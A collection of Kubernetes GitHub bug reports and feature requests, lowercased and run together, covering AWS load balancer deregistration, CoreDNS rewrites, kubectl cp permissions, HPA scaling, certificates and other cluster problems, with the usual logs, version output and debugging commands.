ip-172-31-52-104.sa-east-1.compute.internal ip-172-31-53-49.sa-east-1.compute.internal ip-172-31-52-79.sa-east-1.compute.internal ip-172-31-52-47.sa-east-1.compute.internal ip-172-31-53-177.sa-east-1.compute.internal ip-172-31-53-96.sa-east-1.compute.internal ip-172-31-53-196.sa-east-1.compute.internal ip-172-31-53-216.sa-east-1.compute.internal ip-172-31-53-174.sa-east-1.compute.internal ip-172-31-52-216.sa-east-1.compute.internal ip-172-31-52-232.sa-east-1.compute.internal ip-172-31-52-96.sa-east-1.compute.internal ip-172-31-52-28.sa-east-1.compute.internal ip-172-31-52-239.sa-east-1.compute.internal ip-172-31-52-250.sa-east-1.compute.internal ip-172-31-53-129.sa-east-1.compute.internal ip-172-31-53-149.sa-east-1.compute.internal ip-172-31-53-254.sa-east-1.compute.internal ip-172-31-52-94.sa-east-1.compute.internal ip-172-31-52-100.sa-east-1.compute.internal ip-172-31-53-37.sa-east-1.compute.internal ip-172-31-53-236.sa-east-1.compute.internal ip-172-31-52-12.sa-east-1.compute.internal ip-172-31-53-168.sa-east-1.compute.internal ip-172-31-53-84.sa-east-1.compute.internal ip-172-31-52-160.sa-east-1.compute.internal : multiple untagged security groups found for instance i-0105a4f22c44f2d8a; ensure the k8s security group is tagged\r   11m           11m             1       service-controller                      warning         loadbalancerupdatefailed        error updating load balancer with new hosts  ip-172-31-53-86.sa-east-1.compute.internal ip-172-31-53-173.sa-east-1.compute.internal ip-172-31-52-32.sa-east-1.compute.internal ip-172-31-53-238.sa-east-1.compute.internal ip-172-31-52-104.sa-east-1.compute.internal ip-172-31-52-58.sa-east-1.compute.internal ip-172-31-52-225.sa-east-1.compute.internal ip-172-31-52-47.sa-east-1.compute.internal ip-172-31-53-177.sa-east-1.compute.internal ip-172-31-53-96.sa-east-1.compute.internal ip-172-31-53-49.sa-east-1.compute.internal ip-172-31-52-79.sa-east-1.compute.internal ip-172-31-53-174.sa-east-1.compute.internal ip-172-31-52-216.sa-east-1.compute.internal ip-172-31-52-232.sa-east-1.compute.internal ip-172-31-53-196.sa-east-1.compute.internal ip-172-31-53-216.sa-east-1.compute.internal ip-172-31-52-96.sa-east-1.compute.internal ip-172-31-52-28.sa-east-1.compute.internal ip-172-31-52-239.sa-east-1.compute.internal ip-172-31-52-250.sa-east-1.compute.internal ip-172-31-53-129.sa-east-1.compute.internal ip-172-31-53-254.sa-east-1.compute.internal ip-172-31-52-94.sa-east-1.compute.internal ip-172-31-52-100.sa-east-1.compute.internal ip-172-31-53-149.sa-east-1.compute.internal ip-172-31-52-12.sa-east-1.compute.internal ip-172-31-53-168.sa-east-1.compute.internal ip-172-31-53-84.sa-east-1.compute.internal ip-172-31-52-160.sa-east-1.compute.internal ip-172-31-53-37.sa-east-1.compute.internal ip-172-31-53-236.sa-east-1.compute.internal ip-172-31-53-217.sa-east-1.compute.internal ip-172-31-52-218.sa-east-1.compute.internal ip-172-31-53-45.sa-east-1.compute.internal ip-172-31-52-243.sa-east-1.compute.internal ip-172-31-53-80.sa-east-1.compute.internal ip-172-31-52-156.sa-east-1.compute.internal ip-172-31-53-142.sa-east-1.compute.internal ip-172-31-52-189.sa-east-1.compute.internal ip-172-31-53-69.sa-east-1.compute.internal ip-172-31-53-232.sa-east-1.compute.internal : multiple tagged security groups found for instance i-00140368437b50552; ensure only the k8s security group is tagged\r \r ... this goes on and on ...\r    \r \r i logged into the aws console and could verify that all nodes were associated with the correct security groups, and those security groups were properly tagged.\r \r my suspicion is that the cause has something to do with aws itself: earlier today, i had issues with prometheus, where it was repeatedly crashing due to  a panic  https://github.com/prometheus/prometheus/issues/3001  in its ec2 service discovery mechanism, specifically in the code that handles tags. i'm also experiencing issues when running terraform due to what appears to be  malformed responses  https://github.com/aws/aws-sdk-go/issues/1628  given by the ec2 api to the golang client. in any case, i already opened a case there to see what's going on there.\r \r after manually restarting the controller-manager i could see these events:\r \r    \r   2m            2m              1       service-controller                      normal          creatingloadbalancer            creating load balancer\r   2m            2m              1       service-controller                      normal          createdloadbalancer             created load balancer\r    \r \r this gave me the chills since i thought kubernetes created a whole new elb for my production service, but after checking the  loadbalancer ingress  name, i could verify it successfully reused the correct elb.\r \r after doing that, all instances were registered to all elbs.\r \r   what you expected to happen  :\r \r i could never expect that kubernetes would de-register _all_ worker nodes from _all_ service-managed elbs, even in my wildest dreams  or nightmares , even in cases where the ec2 api were unstable, unresponsive or otherwise misbehaving in some way.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r i'm not sure how this could be reproduced.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :  server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.9+coreos.0\ , gitcommit:\ 2ded8a1912d014561208d882cfcc12dfa5374f22\ , gittreestate:\ clean\ , builddate:\ 2017-10-24t13:07:42z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ } \r - cloud provider or hardware configuration: aws, multi-az cluster in sa-east-1 region\r - kernel  e.g.  uname -a  :  linux ip-172-31-52-213.sa-east-1.compute.internal 4.12.14-coreos  1 smp wed sep 20 22:20:05 utc 2017 x86_64 intel r  xeon r  cpu e5-2676 v3 @ 2.40ghz genuineintel gnu/linux \r - install tools: kube-aws

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r  \r   what happened  :\r i have tried flexvolume on a windows node, it does not work. i am now working on this feature now.\r below is the flexvolume initialization error\r    \r e1205 09:27:58.705853     644 driver-call.go:225  failed to unmarshal output for command: init, output: , error: unexpected end of json input\r w1205 09:27:58.705853     644 driver-call.go:147  flexvolume: driver call failed: executable: c:\\volumeplugins/foo~cifs/cifs, args:  init , error: exec: \ c:\\\\volumeplugins/foo~cifs/cifs\ : file does not exist, output: \r    \r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.7.7\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r  /assign\r @kubernetes/sig-windows-feature-requests

is this a bug report or feature request?  :\r  umbrella issue:  56062\r @kubernetes/sig-scalability-bugs \r \r   what happened  :\r \r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-large-performance/22 failed with the following and more similar messages:\r    \r i1201 08:06:42.749  dec  1 08:06:42.749: info: number of reported pods for density60000-5-a68f7cad-d66d-11e7-93fe-0a580a3cfb06 changed: 1996 vs 2000, pods that changed since the last iteration:\r i1201 08:06:42.753  dec  1 08:06:42.753: info: pod density60000-5-a68f7cad-d66d-11e7-93fe-0a580a3cfb06-l8t9d was deleted, had phase running and host gce-scale-cluster-minion-group-1-tqm7\r i1201 08:06:42.754  pod density60000-5-a68f7cad-d66d-11e7-93fe-0a580a3cfb06-7mmnq was deleted, had phase running and host gce-scale-cluster-minion-group-1-pmtk\r i1201 08:06:42.754  pod density60000-5-a68f7cad-d66d-11e7-93fe-0a580a3cfb06-wtwhm was deleted, had phase running and host gce-scale-cluster-minion-group-qd1p\r i1201 08:06:42.754  pod density60000-5-a68f7cad-d66d-11e7-93fe-0a580a3cfb06-c7w7s was deleted, had phase running and host gce-scale-cluster-minion-group-8998\r i1201 08:06:42.754  \r i1201 08:06:42.755  i1201 08:06:42.753180    5624 runners.go:178  pod density60000-5-a68f7cad-d66d-11e7-93fe-0a580a3cfb06-l8t9d was deleted, had phase running and host gce-scale-cluster-minion-group-1-tqm7\r i1201 08:06:42.755  pod density60000-5-a68f7cad-d66d-11e7-93fe-0a580a3cfb06-7mmnq was deleted, had phase running and host gce-scale-cluster-minion-group-1-pmtk\r i1201 08:06:42.755  pod density60000-5-a68f7cad-d66d-11e7-93fe-0a580a3cfb06-wtwhm was deleted, had phase running and host gce-scale-cluster-minion-group-qd1p\r i1201 08:06:42.756  pod density60000-5-a68f7cad-d66d-11e7-93fe-0a580a3cfb06-c7w7s was deleted, had phase running and host gce-scale-cluster-minion-group-8998\r i1201 08:06:42.756  dec  1 08:06:42.753: info: unexpected error occurred: number of reported pods for density60000-5-a68f7cad-d66d-11e7-93fe-0a580a3cfb06 changed: 1996 vs 2000\r    \r looks like at least the following 10 hosts were affected:\r    \r gce-scale-cluster-minion-group-x9lx\r gce-scale-cluster-minion-group-9qft\r gce-scale-cluster-minion-group-g6xv\r gce-scale-cluster-minion-group-1-1b0d\r gce-scale-cluster-minion-group-m0fs\r gce-scale-cluster-minion-group-1-ll12\r gce-scale-cluster-minion-group-zsqj\r gce-scale-cluster-minion-group-wnm8\r gce-scale-cluster-minion-group-tzk1\r gce-scale-cluster-minion-group-w4rb\r    \r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r \r  \r >  \r \r   what happened  :\r \r if i define the kubernetes version as following\r    \r root@gyliu-ubuntu-1:~  kubectl version\r client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.3+icp+ee\ , gitcommit:\ 5bf8ff102c9cd883604f1902d01745c73b44fe6c\ , gittreestate:\ clean\ , builddate:\ 2017-12-12t23:16:45z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.3+icp+ee\ , gitcommit:\ 5bf8ff102c9cd883604f1902d01745c73b44fe6c\ , gittreestate:\ clean\ , builddate:\ 2017-12-12t23:16:45z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r the conformance test will be failed as following:\r    \r  191 dec 20 01:58:22.256: info: unable to retrieve kubelet pods for node 9.111.255.155: unable to parse server version \ v1.8.3+icp+ee\ : could not parse pre-release/metadata  +icp+ee  in version \ v1.8.3+icp+ee\ \r  192 dec 20 01:58:22.257: info: unable to retrieve kubelet pods for node 9.111.255.155: unable to parse server version \ v1.8.3+icp+ee\ : could not parse pre-release/metadata  +icp+ee  in version \ v1.8.3+icp+ee\ \r    \r \r this is because we have following regexp to check the extra version info  +icp+ee , and it failed as  extramatchre.findstringsubmatch \ +icp+ee\   \r \r    \r // extramatchre splits the \ extra\  part of versionmatchre into semver pre-release and build metadata; it does not validate the \ no leading zeroes\  constraint for pre-release\r extramatchre = regexp.mustcompile  ^ ?:-  0-9a-za-z- + ?:\\. 0-9a-za-z- +    ? ?:\\+  0-9a-za-z- + ?:\\. 0-9a-za-z- +    ?\\s $  \r    \r \r /cc @bradtopol any comments for this? thanks!\r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if this may be security issue, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r >  \r \r   what happened  :\r \r i meet java.net.unknownhostexception when i use coredns rewrite plugin in kubernetes.\r \r the coredns configmap data:\r \r    \r .:53 {\r  errors\r  log stdout\r  health\r  kubernetes cluster.local 20.0.0.0/16\r  rewrite name kms.services.dev.ofc kms.default.svc.cluster.local\r  proxy . /etc/resolv.conf\r  cache 60\r  }\r    \r i try to  cname    kms.services.dev.ofc  to the k8s service name  kms , so i do not need to change the dns config in code when i migrate application to the k8s cluster.\r \r the java error stack\r    \r ^v^  error   2018-05-09 16:06:09.478   test_0   com.ciicgat.sdk.lang.controller.controller:42   kms.services.dev.ofc\r java.net.unknownhostexception: kms.services.dev.ofc: name or service not known\r \tat java.net.inet4addressimpl.lookupallhostaddr native method \r \tat java.net.inetaddress$2.lookupallhostaddr inetaddress.java:928 \r \tat java.net.inetaddress.getaddressesfromnameservice inetaddress.java:1323 \r \tat java.net.inetaddress.getallbyname0 inetaddress.java:1276 \r \tat java.net.inetaddress.getallbyname inetaddress.java:1192 \r \tat java.net.inetaddress.getallbyname inetaddress.java:1126 \r \tat com.ciicgat.sdk.lang.controller.controller$1.run controller.java:37 \r \tat java.lang.thread.run thread.java:748 \r ^v^  error   2018-05-09 16:06:14.479   test_0   com.ciicgat.sdk.lang.controller.controller:42   kms.services.dev.ofc\r java.net.unknownhostexception: kms.services.dev.ofc\r \tat java.net.inetaddress.getallbyname0 inetaddress.java:1280 \r \tat java.net.inetaddress.getallbyname inetaddress.java:1192 \r \tat java.net.inetaddress.getallbyname inetaddress.java:1126 \r \tat com.ciicgat.sdk.lang.controller.controller$1.run controller.java:37 \r \tat java.lang.thread.run thread.java:748 \r ^v^  error   2018-05-09 16:06:19.483   test_0   com.ciicgat.sdk.lang.controller.controller:42   kms.services.dev.ofc\r java.net.unknownhostexception: kms.services.dev.ofc: name or service not known\r \tat java.net.inet4addressimpl.lookupallhostaddr native method \r \tat java.net.inetaddress$2.lookupallhostaddr inetaddress.java:928 \r \tat java.net.inetaddress.getaddressesfromnameservice inetaddress.java:1323 \r \tat java.net.inetaddress.getallbyname0 inetaddress.java:1276 \r \tat java.net.inetaddress.getallbyname inetaddress.java:1192 \r \tat java.net.inetaddress.getallbyname inetaddress.java:1126 \r \tat com.ciicgat.sdk.lang.controller.controller$1.run controller.java:37 \r \tat java.lang.thread.run thread.java:748 \r ^v^  error   2018-05-09 16:06:24.483   test_0   com.ciicgat.sdk.lang.controller.controller:42   kms.services.dev.ofc\r java.net.unknownhostexception: kms.services.dev.ofc\r \tat java.net.inetaddress.getallbyname0 inetaddress.java:1280 \r \tat java.net.inetaddress.getallbyname inetaddress.java:1192 \r \tat java.net.inetaddress.getallbyname inetaddress.java:1126 \r \tat com.ciicgat.sdk.lang.controller.controller$1.run controller.java:37 \r \tat java.lang.thread.run thread.java:748 \r    \r \r pod's  /etc/resolv.conf  content is\r    \r  root@for-test-jar-fd574ffdd-2dj6h apache-tomcat   cat /etc/resolv.conf \r nameserver 20.0.0.11\r search default.svc.cluster.local. svc.cluster.local. cluster.local.\r options ndots:5\r    \r \r pod's  /etc/hosts  content is\r    \r  root@for-test-jar-fd574ffdd-2dj6h apache-tomcat   cat /etc/hosts\r   kubernetes-managed hosts file.\r 127.0.0.1\tlocalhost\r ::1\tlocalhost ip6-localhost ip6-loopback\r fe00::0\tip6-localnet\r fe00::0\tip6-mcastprefix\r fe00::1\tip6-allnodes\r fe00::2\tip6-allrouters\r 1.0.7.90\tfor-test-jar-fd574ffdd-2dj6h\r    \r \r \r   but it's strange that when i use  nslookup  or  dig  or  curl  ,there's no error!  \r    \r  root@for-test-jar-fd574ffdd-2dj6h apache-tomcat   nslookup kms.services.dev.ofc\r server:\t\t20.0.0.11\r address:\t20.0.0.11 53\r \r name:\tkms.default.svc.cluster.local\r address: 20.0.125.17\r    \r    \r  root@for-test-jar-fd574ffdd-2dj6h apache-tomcat   dig kms.services.dev.ofc\r \r ; <<>> dig 9.9.4-redhat-9.9.4-51.el7 <<>> kms.services.dev.ofc\r ;; global options: +cmd\r ;; got answer:\r ;; ->>header<<- opcode: query, status: noerror, id: 30450\r ;; flags: qr rd ra; query: 1, answer: 1, authority: 0, additional: 1\r \r ;; opt pseudosection:\r ; edns: version: 0, flags:; udp: 4096\r ;; question section:\r ;kms.services.dev.ofc.\t\tin\ta\r \r ;; answer section:\r kms.default.svc.cluster.local. 3 in\ta\t20.0.125.17\r \r ;; query time: 1 msec\r ;; server: 20.0.0.11 53 20.0.0.11 \r ;; when: wed may 09 16:11:07 cst 2018\r ;; msg size  rcvd: 94\r    \r \r    \r  root@for-test-jar-fd574ffdd-2dj6h apache-tomcat   curl kms.services.dev.ofc/islive -v\r   about to connect   to kms.services.dev.ofc port 80   0 \r     trying 20.0.125.17...\r   connected to kms.services.dev.ofc  20.0.125.17  port 80   0 \r > get /islive http/1.1\r > user-agent: curl/7.29.0\r > host: kms.services.dev.ofc\r > accept:  / \r > \r < http/1.1 200 \r < content-type: application/json;charset=utf-8\r < transfer-encoding: chunked\r < date: wed, 09 may 2018 08:11:33 gmt\r < \r   connection  0 to host kms.services.dev.ofc left intact\r    \r \r \r   just the java application cannot work!  \r \r \r   what you expected to happen  :\r \r the java method  inetaddress.getallbyname  can return the service cluster ip address like  nslookup  or  dig  \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :1.10\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :centos linux\r - kernel  e.g.  uname -a  : 3.10.0-327.el7.x86_64\r - install tools:\r - others:coredns 1.1.2\r

in order to identify which e2e test is hitting a specific api endpoint\r \r given an e2e test using  e2e/framework/utils  https://github.com/kubernetes/kubernetes/blob/master/test/e2e/framework/util.go l2019-l2034 \r when the user agent is set via  client-go config  https://github.com/kubernetes/client-go/blob/master/rest/config.go l86-l87 \r then we will be able to  log which e2e test called a specific api  https://github.com/kubernetes/kubernetes/issues/64791 \r \r prior discussion: https://groups.google.com/d/msg/kubernetes-sig-api-machinery/r-z_njilzmg/q1kwg9jsaqaj\r \r  /cc @kubernetes/api-reviewers @kubernetes/sig-testing-feature-requests @liggitt @lavalamp @bgrant0607

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r   bug report  \r \r   \r   what happened  :\r i recently built a ha kube cluster using kops on aws and seem to be having a memory leak. the working set & memory usage for the  etcd-server-events  pods have been increasing linearly since the cluster was created.\r \r   what you expected to happen  :\r not to have a memory leak.\r \r   how to reproduce it  as minimally and precisely as possible   :\r https://github.com/kubernetes/kops/issues/5941\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 12\ , gitversion:\ v1.12.0\ , gitcommit:\ 0ed33881dc4355495f623c6f22e7dd0b7632b7c0\ , gittreestate:\ clean\ , builddate:\ 2018-10-05t03:09:14z\ , goversion:\ go1.11.1\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r    \r - cloud provider or hardware configuration:  aws \r - os  e.g. from /etc/os-release :\r    \r pretty_name=\ debian gnu/linux 8  jessie \ \r name=\ debian gnu/linux\ \r version_id=\ 8\ \r version=\ 8  jessie \ \r id=debian\r home_url=\ http://www.debian.org/\ \r support_url=\ http://www.debian.org/support\ \r bug_report_url=\ https://bugs.debian.org/\ \r    \r - kernel  e.g.  uname -a  :\r    \r 4.4.121-k8s  1 smp sun mar 11 19:39:47 utc 2018 x86_64 gnu/linux\r    \r \r - install tools:  kops \r - others:\r \r i'm relatively new to kube so may be missing something obvious. thank you for your help.\r

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/\r -->\r \r \r   what happened  :\r when making a tcp connection to a service's clusterip when there are no endpoints in the service the connection remains in syn_wait state until an external timeout occurs  possibly indefinitely .\r \r   what you expected to happen  :\r this connection should be immediately rejected and consequently closed on the client side.\r \r   how to reproduce it  as minimally and precisely as possible   :\r i am not certain which details about my environment cause this behavior, but the environment is detailed below with as much information as i can think of. beyond that i simply create a service definition as follows:\r \r    yaml\r apiversion: v1\r kind: service\r metadata:\r   name: test-svc\r   namespace: default\r spec:\r   ports:\r   - name: http\r     port: 80\r     protocol: tcp\r     targetport: 8012\r   selector:\r     fake-selector: foo\r   type: clusterip\r    \r \r i then curl this service's clusterip from another pod:\r \r    bash\r   curl test-svc.default.svc.cluster.local\r    \r \r and observe the connection hang for an extended period.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.14.3\r - cloud provider or hardware configuration:\r - os  e.g:  cat /etc/os-release  : debian 9\r - kernel  e.g.  uname -a  : linux dev 4.9.0-9-amd64  1 smp debian 4.9.168-1  2019-04-12  x86_64 gnu/linux\r - install tools: kubeadm 1.14.3\r - network plugin and version  if this is a network-related bug : calico  https://docs.projectcalico.org/v3.7/manifests/calico.yaml \r - others:\r

problem  a frequent question that comes up on slack and stack overflow is how to trigger an update to a deployment/rs/rc when the image tag hasn't changed but the underlying image has.  consider: 1. there is an existing deployment with image  foo:latest  2. user builds a new image  foo:latest   3. user pushes  foo:latest  to their registry 4. user wants to do something here to tell the deployment to pull the new image and do a rolling-update of existing pods  the problem is that there is no existing kubernetes mechanism which properly covers this.     current workarounds - always change the image tag when deploying a new version - refer to the image hash instead of tag, e.g.  localhost:5000/andy/busybox@sha256:2aac5e7514fbc77125bd315abe9e7b0257db05fe498af01a58e239ebaccf82a8  - use  latest  tag or  imagepullpolicy: always  and delete the pods. new pods will pull the new image. this approach doesn't do a rolling update and will result in downtime. - fake a change to the deployment by changing something other than the image     possible solutions - https://github.com/kubernetes/kubernetes/issues/13488 if rolling restart were implemented, users could do a rolling-restart to pull the new image. - have a controller that watches the image registry and automatically updates the deployment to use the latest image hash for a given tag. see https://github.com/kubernetes/kubernetes/issues/1697 issuecomment-202631815  cc @justinsb

is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :  no    what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :  controller key, duplicate certificates, controller rekey  ---    is this a bug report or feature request?    choose one :  bug report  <!-- if this is a bug report, please:   - fill in as much of the template below as you can.  if you leave out     information, we can't help you as well.  if this is a feature request, please:   - describe  in detail  the feature/behavior/change you'd like to see.  in both cases, be ready for followup questions, and please respond in a timely manner.  if we can't reproduce a bug or think a feature already exists, we might close your issue.  if we're wrong, please feel free to reopen it and explain why. -->    kubernetes version    use  kubectl version  :  client version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.3\ , gitcommit:\ 4957b090e9a4f6a68b4a40375408fdc74a212260\ , gittreestate:\ clean\ , builddate:\ 2016-10-16t06:36:33z\ , goversion:\ go1.6.3\ , compiler:\ gc\ , platform:\ linux/amd64\ } server version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.3\ , gitcommit:\ 4957b090e9a4f6a68b4a40375408fdc74a212260\ , gittreestate:\ clean\ , builddate:\ 2016-10-16t06:20:04z\ , goversion:\ go1.6.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }    environment  : -   cloud provider or hardware configuration  : self-hosted vm -   os    e.g. from /etc/os-release : ubuntu 14.04.05 -   kernel    e.g.  uname -a  : 4.4.0-45 -   install tools  : manual installation -   others  :    what happened  :  i generated an independent cert+key for each of my two controllers. pods  especially kube-dns  had a high failure rate in talking to the apiserver. this showed up as 401 status in the apiserver log, and \ the server requested the client to provide authenticate\  in the pod kubedns log.    what you expected to happen  :  i expected it to work. :     how to reproduce it    as minimally and precisely as possible : 1. generate a different certificate and key for each controller machine  apiserver, controller manager, scheduler . 2. load kube-dns.    anything else do we need to know  :  in many places, standard practice is to issue an independent certificate for each server. if kubernetes doesn't support that configuration, it should be documented.

we can mock out the actual cni plugin, but kubenet still ends up trying to configure the bridge through netlink. we should refactor and fake this out so we can write more unittests for setup. @freehan

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. : no\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. : kubectl cp\r \r ---\r \r   bug report  \r \r   kubernetes version    use  kubectl version  :\r google cloud production environment:\r     client version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.2\ , gitcommit:\ 08e099554f3c31f6e6f07b448ab3ed78d0520507\ , gittreestate:\ clean\ , builddate:\ 2017-01-12t04:57:25z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r     server version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.8\ , gitcommit:\ c5fcb1951afb8150e4574bc234aed957cb586eb0\ , gittreestate:\ clean\ , builddate:\ 2017-01-12t02:14:29z\ , goversion:\ go1.6.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r local minikube on laptop:\r     client version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.2\ , gitcommit:\ 08e099554f3c31f6e6f07b448ab3ed78d0520507\ , gittreestate:\ clean\ , builddate:\ 2017-01-12t04:57:25z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r     server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.1\ , gitcommit:\ 82450d03cb057bab0950214ef122b67c83fb11df\ , gittreestate:\ clean\ , builddate:\ 1970-01-01t00:00:00z\ , goversion:\ go1.7.1\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r \r   environment  :\r -   cloud provider or hardware configuration  : tested in minikube and google cloud\r -   os    e.g. from /etc/os-release : \r name=\ ubuntu\ \r version=\ 16.04.1 lts  xenial xerus \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 16.04.1 lts\ \r version_id=\ 16.04\ \r home_url=\ http://www.ubuntu.com/\ \r support_url=\ http://help.ubuntu.com/\ \r bug_report_url=\ http://bugs.launchpad.net/ubuntu/\ \r version_codename=xenial\r ubuntu_codename=xenial\r \r -   kernel    e.g.  uname -a  :\r linux pc-408 4.4.0-57-generic  78-ubuntu smp fri dec 9 23:50:32 utc 2016 x86_64 x86_64 x86_64 gnu/linux\r \r   what happened  :\r when copying files from a remote pod to the local pod or host via\r      kubectl cp <remote-pod>:<some-file> <some-file> \r access permissions and owner information of the file gets lost and its new owner always\r is root:root and permissions are as if set by  chmod 644 <some-file> .\r \r \r   what you expected to happen  :\r i expect the access permissions and the owner to stay the same, which is what happens\r when performing a local-to-remote copy.\r \r   how to reproduce it    as minimally and precisely as possible :\r run the attached bash script as root  needed for  chown  . make sure\r you replace  ubuntu  with an availible image if ubuntu isn't. any\r image works.\r \r  reproduce_kubectl_cp_issue.txt  https://github.com/kubernetes/kubernetes/files/748161/reproduce_kubectl_cp_issue.txt \r \r output of the script above on my machine:\r \r > $ sudo ./reproduce_kubectl_cp_issue.sh \r > pod \ test-pod\  created\r > original file:\r > -rwxr-xr-x 1 2345 root 5 feb  2 16:29 /tmp/test.txt\r >\r > observe that the copied file still has the correct permissions and owner:\r > -rwxr-xr-x 1 2345 root 5 feb  2 15:29 /test.txt\r >\r > tar: removing leading  /' from member names\r > and now the permissions and owner information has been lost:\r > -rw-r--r-- 1 root root 5 feb  2 16:29 /tmp/test.txt\r >\r > pod \ test-pod\  deleted\r

\r   kubernetes version  :\r \r     client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.1\ , gitcommit:\ b0b7a323cc5a4a2019b2e9520c21c7830b7f708e\ , gittreestate:\ clean\ , builddate:\ 2017-04-03t20:44:38z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r     server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.2\ , gitcommit:\ 08e099554f3c31f6e6f07b448ab3ed78d0520507\ , gittreestate:\ clean\ , builddate:\ 2017-01-12t04:52:34z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r   environment  :\r -   cloud provider or hardware configuration  : aws\r -   os   :  pretty_name=\ debian gnu/linux 8  jessie \ \r \r -   kernel  :  linux ip-              4.4.41-k8s  1 smp mon jan 9 15:34:39 utc 2017 x86_64 gnu/linux\r \r   what happened  :\r \r hpa doesn't autoscale due to  <unknown>  cpu\r \r \r   what you expected to happen  :\r \r hpa to scale\r \r   how to reproduce it    as minimally and precisely as possible :\r \r follow the  docs walkthrough  https://kubernetes.io/docs/tasks/run-application/horizontal-pod-autoscale-walkthrough/ \r \r       kubectl run php-apache --image=gcr.io/google_containers/hpa-example --requests=cpu=200m --expose --port=80\r       kubectl autoscale deployment php-apache --cpu-percent=50 --min=1 --max=10\r \r   anything else we need to know  :\r \r more information of the process:\r \r as is of v1 and not custom metrics i guess it's not the same as  this issue  https://github.com/kubernetes/kubernetes/issues/45581 \r \r       kubectl run php-apache --image=gcr.io/google_containers/hpa-example --requests=cpu=200m --expose --port=80\r     service \ php-apache\  created\r     deployment \ php-apache\  created\r \r with this trace in the controller-log:\r \r     i0517 12:48:32.338309       5 event.go:217  event api.objectreference{kind:\ deployment\ , namespace:\ default\ , name:\ php-apache\ , uid:\ 22367ba1-3aff-11e7-adea-02eb61d566f9\ , apiversion:\ extensions\ , resourceversion:\ 2104061\ , fieldpath:\ \ } : type: 'normal' reason: 'scalingreplicaset' scaled up replica set php-apache-3815965786 to 1\r     i0517 12:48:32.340626       5 replica_set.go:479  too few \ default\ /\ php-apache-3815965786\  replicas, need 1, creating 1\r     i0517 12:48:32.362854       5 deployment_controller.go:298  error syncing deployment default/php-apache: operation cannot be fulfilled on deployments.extensions \ php-apache\ : the object has 